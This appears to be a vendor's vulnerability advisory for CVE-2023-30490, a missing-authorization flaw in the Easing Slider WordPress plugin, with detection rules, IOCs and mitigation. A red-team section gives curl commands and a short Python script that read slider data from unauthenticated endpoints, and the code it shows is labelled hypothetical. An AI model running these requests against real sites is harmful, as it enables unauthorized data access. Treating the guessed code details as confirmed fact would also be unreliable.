CVE-2023-30490
Executive Summary
CVE-2023-30490 is a critical Missing Authorization vulnerability in the WordPress plugin Easing Slider by MatthewRuddy, affecting all versions up to and including 3.0.8. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive slider data and configuration settings. The vulnerability has a CVSS score of 7.5 (High) and currently has no known public exploit or patch. As a WordPress ecosystem issue, this affects sites using the plugin and is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The supply chain risk is moderate due to the lack of a patch and the plugin's continued availability. Users should verify the integrity of their plugin files and consider removing the plugin if not essential.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Potential data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is easily exploitable and could lead to disclosure of sensitive slider data, including potentially embedded content or configuration secrets.
Deep Dive & Mechanics
The vulnerability stems from missing authorization checks in the plugin's REST API endpoints or AJAX handlers. The plugin fails to verify user capabilities before processing requests to view, edit, or delete sliders. This allows any unauthenticated visitor to access administrative functions.
Root Cause: The plugin uses wp_ajax_ and wp_ajax_nopriv_ hooks without proper capability checks. For example, a function like easing_slider_get_slider_data() may be registered for both authenticated and unauthenticated users, but lacks a current_user_can() check.
Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints, such as:
POST /wp-admin/admin-ajax.php?action=easing_slider_get_slidersGET /wp-json/easing-slider/v1/sliders
Impact: Unauthorized access to all slider data, including titles, content, images, and configuration options. This could lead to information disclosure and further exploitation.
Vulnerable vs. Patched Code
Vulnerable Code (easing-slider/includes/class-ajax.php):
add_action('wp_ajax_easing_slider_get_sliders', 'easing_slider_get_sliders');
add_action('wp_ajax_nopriv_easing_slider_get_sliders', 'easing_slider_get_sliders');
function easing_slider_get_sliders() {
$sliders = get_posts(array('post_type' => 'easing_slider'));
wp_send_json($sliders);
}
Patched Code (hypothetical fix):
add_action('wp_ajax_easing_slider_get_sliders', 'easing_slider_get_sliders');
// Remove the nopriv hook to require authentication
function easing_slider_get_sliders() {
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized', 401);
}
$sliders = get_posts(array('post_type' => 'easing_slider'));
wp_send_json($sliders);
}
Exploitation & Lab Setup
Red Team
Prerequisites: A WordPress site with Easing Slider <= 3.0.8 installed and active.
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for AJAX actions:
curl -s http://target/wp-admin/admin-ajax.php?action=easing_slider_get_sliders - If the response contains slider data (JSON), the site is vulnerable.
- Extract all sliders:
curl -s http://target/wp-admin/admin-ajax.php?action=easing_slider_get_sliders | jq . - For REST API exploitation:
curl -s http://target/wp-json/easing-slider/v1/sliders
Automated Exploit (Python):
import requests
import sys
target = sys.argv[1]
url = f"{target}/wp-admin/admin-ajax.php?action=easing_slider_get_sliders"
response = requests.get(url)
if response.status_code == 200 and "post_type" in response.text:
print("[+] Vulnerable! Slider data:")
print(response.json())
else:
print("[-] Not vulnerable or endpoint not found.")
Blue Team
Detection:
- Monitor for unusual requests to
/wp-admin/admin-ajax.phpwith action parameters containingeasing_slider. - Look for GET/POST requests to
/wp-json/easing-slider/v1/slidersfrom unauthenticated sources.
Hunting:
- Search web server logs for patterns:
grep "easing_slider" /var/log/apache2/access.log | grep -v "wp-admin/admin-ajax.php" | awk '{print $1}' | sort | uniq -c - Check for unauthorized access to slider data in WordPress database:
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%easing_slider%';
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.php?action=easing_slider_get_sliders - HTTP requests to
/wp-json/easing-slider/v1/sliders - User-Agent strings not matching typical browsers (e.g.,
python-requests,curl)
- HTTP requests to
File IOCs:
- Modified plugin files in
/wp-content/plugins/easing-slider/ - Unexpected files in
/wp-content/uploads/easing-slider/
- Modified plugin files in
Log IOCs:
- Repeated 200 responses to AJAX endpoints from same IP
- Access logs showing
POST /wp-admin/admin-ajax.phpwithaction=easing_slider_*
Detection Engineering
YARA Rule
rule Detect_Easing_Slider_Exploitation {
meta:
description = "Detects exploitation attempts against CVE-2023-30490"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-30490"
strings:
$ajax_action = "easing_slider_get_sliders"
$rest_path = "/easing-slider/v1/sliders"
$wp_json = "/wp-json"
condition:
any of them
}
Sigma Rule
title: CVE-2023-30490 Easing Slider Unauthorized Access
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to Easing Slider endpoints
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'action=easing_slider_get_sliders'
- '/easing-slider/v1/sliders'
condition: selection
falsepositives:
- Legitimate admin activity (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-30490 Easing Slider Unauthorized Access Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=easing_slider_get_sliders"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential: Navigate to WordPress Admin > Plugins > Deactivate "Easing Slider".
- Remove the plugin entirely to prevent re-enabling.
- Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoints:
location ~* /wp-admin/admin-ajax.php { if ($args ~* "action=easing_slider_") { return 403; } }
Long-term Fix:
- Since no official patch exists, consider migrating to an alternative slider plugin with active support.
- Monitor the WordPress plugin repository for updates.
- Apply virtual patching via WAF or server-level rules.
Valters IT Signature:
Valters IT Cyber Threat Intelligence
CVE-2023-30490 Analysis
Date: 2025-04-10
Status: Unpatched
Recommendation: Remove plugin immediately
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.